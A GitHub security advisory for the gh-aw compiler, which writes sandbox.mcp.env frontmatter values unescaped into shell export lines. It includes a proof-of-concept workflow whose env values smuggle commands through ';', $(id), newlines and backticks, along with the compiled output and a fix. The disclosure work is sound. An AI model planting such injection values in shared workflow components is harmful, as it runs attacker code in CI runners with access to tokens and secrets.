Skip to content

command injection in compiled workflow via unsanitized `sandbox.mcp.env` exports

Critical
pelikhan published GHSA-j77w-g4jj-hp99 Aug 7, 2026

Package

npm gh-aw (npm)

Affected versions

<=0.77.5

Patched versions

v0.86.0

Description

Summary

gh aw compile writes MCP-gateway environment variables into the generated GitHub
Actions workflow (.lock.yml) using an unescaped fmt.Fprintf(... "export %s=%s" ...).
The values come verbatim from the sandbox.mcp.env map in a workflow's frontmatter, and
the workflow JSON schema imposes no character constraints on them. A value containing shell
metacharacters (;, $(...), backticks, or a newline) breaks out of the export
statement and is emitted as a command in a run: shell block. When the compiled workflow
runs, those commands execute in the GitHub Actions runner with the job's GITHUB_TOKEN and
secrets.

The dangerous input crosses a real trust boundary: gh-aw supports importing and
packaging workflow components from third-party repositories
. A malicious shared component
that declares sandbox.mcp.env can therefore achieve arbitrary command execution in the CI
environment of any repository that imports it, compiles, and runs the workflow.

Impacted code

pkg/workflow/mcp_setup_generator.go (lines 718–724, sink at 722):

if len(gatewayConfig.Env) > 0 {
	envVarNames := sliceutil.MapKeys(gatewayConfig.Env)
	sort.Strings(envVarNames)
	for _, envVarName := range envVarNames {
		fmt.Fprintf(yaml, "          export %s=%s\n", envVarName, gatewayConfig.Env[envVarName]) // <-- no quoting/escaping
	}
}

Contrast with the adjacent, correctly-handled export 10 lines above (line 711–712), which
already shell-escapes its value:

escapedCLIServersJSON := shellEscapeArg(string(cliServersJSON))
yaml.WriteString("          export GH_AW_MCP_CLI_SERVERS=" + escapedCLIServersJSON + "\n")

The source is parsed verbatim from frontmatter, with no validation
(pkg/workflow/frontmatter_extraction_security.go:363–372):

if envVal, hasEnv := mcpObj["env"]; hasEnv {
	if envObj, ok := envVal.(map[string]any); ok {
		mcpConfig.Env = make(map[string]string)
		for key, value := range envObj {
			if valueStr, ok := value.(string); ok {
				mcpConfig.Env[key] = valueStr // key and value copied directly
			}
		}
	}
}

Commit: 402c2979bbb494a9ef91e08c031e29eae7983ca2

CVSS

Score: 9.6 — Critical
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value Rationale
Attack Vector Network (N) Payload is delivered as an imported/packaged workflow component over the GitHub/package ecosystem (supply-chain).
Attack Complexity Low (L) A single frontmatter value; no special conditions.
Privileges Required None (N) Any author of a shared/importable component.
User Interaction Required (R) A victim must import the component, run gh aw compile, and run the workflow.
Scope Changed (C) Injected commands escape the "workflow definition" authority into the CI runner's execution environment and its secrets/GITHUB_TOKEN.
Confidentiality / Integrity / Availability High / High / High Arbitrary code execution in CI: read secrets, tamper with the repo, disrupt the runner.

Steps to reproduce / minimal PoC

  1. Create a workflow with a malicious sandbox.mcp.env value (this is what a third-party
    imported component would carry). Save as .github/workflows/poc-envinject.md:

    ---
    on:
      workflow_dispatch:
    permissions:
      contents: read
    engine:
      id: claude
    sandbox:
      mcp:
        env:
          AAA_INJECT: "legit; echo PWNED_$(id) > /tmp/pwned #"
          BBB_NEWLINE: "ok\n          echo PWNED_NEWLINE"
          CCC_BACKTICK: "`touch /tmp/PWNED_BACKTICK`"
    tools:
      github:
        toolsets: [default]
    ---
    
    # PoC Workflow
    Body.
  2. Compile it (in a sealed, no-network container, as done during validation):

    docker run --rm --network none \
      -v "$PWD":/work -w /work \
      -v /path/to/gh-aw-linux:/usr/local/bin/gh-aw:ro alpine:3.21 \
      sh -c 'gh-aw compile .github/workflows/poc-envinject.md'
  3. Inspect the generated .github/workflows/poc-envinject.lock.yml — the payload lands
    inside a run: | shell block, unescaped:

    export GH_AW_ENGINE="claude"
    export AAA_INJECT=legit; echo PWNED_$(id) > /tmp/pwned #
    export BBB_NEWLINE=ok
    echo PWNED_NEWLINE                       ← newline broke into command position
    export CCC_BACKTICK=`touch /tmp/PWNED_BACKTICK`
    
  4. Execute that exact fragment under /bin/sh to observe the injected commands fire
    (this is what GitHub Actions does when the workflow runs):

    PWNED_NEWLINE
    /tmp/pwned  ->  PWNED_uid=0(root) gid=0(root) groups=0(root)...
    /tmp/PWNED_BACKTICK  ->  created
    

    All three vectors execute: ;+$(id) command substitution wrote /tmp/pwned, the
    newline injected a standalone command, and the backtick substitution created a file.

Impact

Arbitrary command execution in the GitHub Actions runner at workflow-execution time. An
attacker who controls an imported/packaged workflow component can:

  • Exfiltrate the job's GITHUB_TOKEN and any secrets exposed to the workflow.
  • Tamper with repository contents, releases, or downstream artifacts the job can reach.
  • Pivot from CI into other systems reachable from the runner.

Because gh-aw's design centers on sharing/importing agentic-workflow components, this is a
practical supply-chain remote-code-execution vector.

Suggested remediation

Validate the key and shell-escape the value, mirroring the already-correct line 711:

import "regexp"

var envNameRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)

for _, envVarName := range envVarNames {
	if !envNameRe.MatchString(envVarName) {
		return fmt.Errorf("invalid MCP gateway env var name %q", envVarName)
	}
	yaml.WriteString("          export " + envVarName + "=" +
		shellEscapeArg(gatewayConfig.Env[envVarName]) + "\n")
}

Additionally, reject control characters/newlines in env values during frontmatter
extraction (extractMCPGatewayConfig) so malformed input fails fast at compile time, and
add a JSON-schema propertyNames/pattern constraint on sandbox.mcp.env keys.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits